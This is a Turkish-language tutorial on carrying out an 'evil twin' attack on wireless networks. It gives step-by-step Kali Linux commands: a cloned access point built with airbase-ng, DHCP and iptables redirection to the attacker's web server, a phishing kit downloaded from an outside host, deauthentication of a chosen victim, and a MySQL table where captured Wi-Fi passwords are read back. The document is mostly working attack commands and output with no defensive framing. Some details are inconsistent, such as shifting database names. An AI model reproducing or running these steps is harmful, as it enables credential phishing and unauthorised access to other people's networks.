Kablosuz Aglarda Gerçekleştirilen Saldırılar

Ewil Twin(Şeytani İkiz) Atağı Nedir?
Şeytani ikiz atağı ,Gerçek Wifi Erişim Noktasının birebir Kopyası oluşturularak gerçekleştirilen , kablosuz ağlarda ki kimlik avı dolandırıcılığı Saldırılarıdır.
Şeytani İkiz Atağı Sayesinde Şifre Kırma işlemi ile uğraşmadan daha kolay ve hızlı bir şekilde Kablosuz Ağları Hackleyebiliriz.
Saldırı Nasıl Gerçekleştirilir:
1) Saldırgan Gerçek wifi Erişim Noktası İle Aynı İsimde sahte wifi Erişim Noktası Oluşturur.
2)Saldırgan Kopyasını Oluşturduğu Gerçek Wifi Erişim Noktasına Bağlı Olan Clientlardan birini kurban olarak seçer ve onun bağlantısını koprtarak kndi oluşturduğu kopya(Şeytani ikiz) Wifi Erişim Noktasına Bağlanmasını Sağlar.
3)Saldırgan Kendisine Bağlanan Kurbanı Wifi Şifresi İsteyen Sahte Web Sitesine Yönlendirir.
4)Eğer Kurban ikna olur ve Wifi Şifresini girerse Saldırı Başarılı Şekilde Gerçekleştirilmiş olur.

ADIM ADIM SALDIRININ GERÇEKLEŞTİRİLMESİ

1)Usb Wifi Adaptörün takıp Kali Sunucumuz Üzerinden Kontrol Ediyoruz. Burada eth0 internete Çıkmak için kullandığımız, wlan0 ise saldırıları gerçekleştirmek için kullandığımız interfacelerdir.

#192.168.26.130 ip adresi saldırıda kullandığımız kali suncusunun ip adresi.(Kali sunucu network ayarı nat olarak seçili).

2)wlan0 Wifi Adaptörünü Monitoring Mod’a Alırız ve Analiz Edebilmek için Kablosuz Ağ trafiğini yakalamaya başlarız.

airmon-ng check kill

airmon-ng start wlan0
#Monitoring Moda Aldık.

airodump-ng wlan0
#Komutu yazarak ortamda bulunan tüm wifi ağlarının bilgilerini görebiliyor olacağız.

3)Hedef Wifi Erişim Noktası İle AYnı Kanalda AYnı isimde Sahte Wifi Erişim Noktası Oluştururuz.
airbase-ng  -e “Suat” -c 1 -a 00:12:23:34:45:56 mon0
05:42:09  Created tap interface at0
05:42:09  Trying to set MTU on at0 to 1500
05:42:09  Trying to set MTU on mon0 to 1800
05:42:10  Access Point with BSSID 00:12:23:34:45:56 started.

4)Dhcp Servisinin Yükleriz ve Yapılandırmasını Yaparız.

apt-get install dhcp3-server
cat /etc/dhcp3/dhcpd.conf
ddns-update-style none;
log-facility local7;
subnet 192.168.101.0 netmask 255.255.255.0 {
range 192.168.101.100 192.168.101.200;
option domain-name-servers 8.8.8.8;
option routers 192.168.101.1;
option broadcast-address 192.168.101.255;
default-lease-time 600;
max-lease-time 7200;

5)Saldırıda Kullanacağımız at0 interfacini oluştururuz, Gerekli route Kuralını Ekleriz ve dhcp servisini başlatırız.

ifconfig at0 up
ifconfig at0 192.168.101.1 netmask 255.255.255.0
# at0 interfacini oluşturduk..

route add -net 192.168.101.0 netmask 255.255.255.0 gw 192.168.101.1
##Gerekli route Kuralını Ekledik.

dhcpd -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd.pid at0
#-cf: alternatif Konfigurasyon dosyasının Yolunu Belirtir.
#-pf:Alternatif pid Dosyasının Yolunu Belirtiriz.

6) Gerekli iptables kuralını ekleriz ve ipv4 routing Özelliğinşi Aktif Ederiz.

iptables -F
iptables -t nat -F
iptables –delete-chain
iptables -t nat -A POSTROUTING –out-interface eth0 -j MASQUERADE
iptables -A FORWARD –in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp –dport 80 -j DNAT –to-destination 192.168.26.130:80

iptables -t nat -A POSTROUTING -j MASQUERADE

7)Kurbanı Yönlendireceğimiz ve şifre isteyeceğimiz sahte web Sayfasını Oluştururuz.

cd /var/www
mv index.html inde.html.old
wget https://cdn.rootsh3ll.com/u/20180724181033/Rogue_AP.zip
unzip Rogue_AP.zip
/etc/init.d/mysql start
/etc/init.d/apache2 start

mysql -u root -p
mysql>create user fakeap@localhost identified by ‘fakeap’;
mysql> create database rogue_AP;
mysql> use rogue_AP;
mysql> create table wpa_keys(password1 varchar(32), password2 varchar(32));
mysql> grant all privileges on rogue_AP.* to ‘fakeap’@’localhost’;
mysql> mysql -u fakeap -p
mysql> use rogue_AP;
mysql> insert into wpa_keys(password1, password2) values (“testpass”, “testpass”);
mysql> select * from wpa_keys;

8) Kurbanı Hedef Wifi Erişim Noktasından Düşürürüz.(Böylece Kurban Bizim Oluşturduğumuz Şeytani ikiz wifisine Bağlanır.)

aireplay-ng –deauth 100 -a 10:A5:D0:04:5B:CB  -c 5C:E8:EB:E2:1E:DE mon0

9)Gördüğümüz gibi Kurbanı Bağlı Bulunduğu wifiden düşürdükten Sonra Bizim Sahte Kablosuz Ağımıza Bağlandı.

airbase-ng  -e “suat” -c 1 -a 00:12:23:34:45:56 mon0

05:42:09  Created tap interface at0
05:42:09  Trying to set MTU on at0 to 1500
05:42:09  Trying to set MTU on mon0 to 1800
05:42:10  Access Point with BSSID 00:12:23:34:45:56 started.
05:58:11  Client 5C:E8:EB:E2:1E:DE associated (unencrypted) to ESSID: ” suat “
05:58:11  Client 5C:E8:EB:E2:1E:DE associated (unencrypted) to ESSID: ” suat “
05:58:11  Client 5C:E8:EB:E2:1E:DE associated (unencrypted) to ESSID: ” suat “
05:58:11  Client 5C:E8:EB:E2:1E:DE associated (unencrypted) to ESSID: ” suat “
05:58:11  Client 5C:E8:EB:E2:1E:DE associated (unencrypted) to ESSID: ” suat “
05:58:11  Client 5C:E8:EB:E2:1E:DE associated (unencrypted) to ESSID: ” suat “

10)Kurban Şifreyi Girdikten Sonra evil_twin Veritabanını Seçeriz ve wpa_keys Tablosundan Şifreyi görebiliriz.

mysql -u fakeap -p
use Rogue_AP;
select * from wpa_keys ;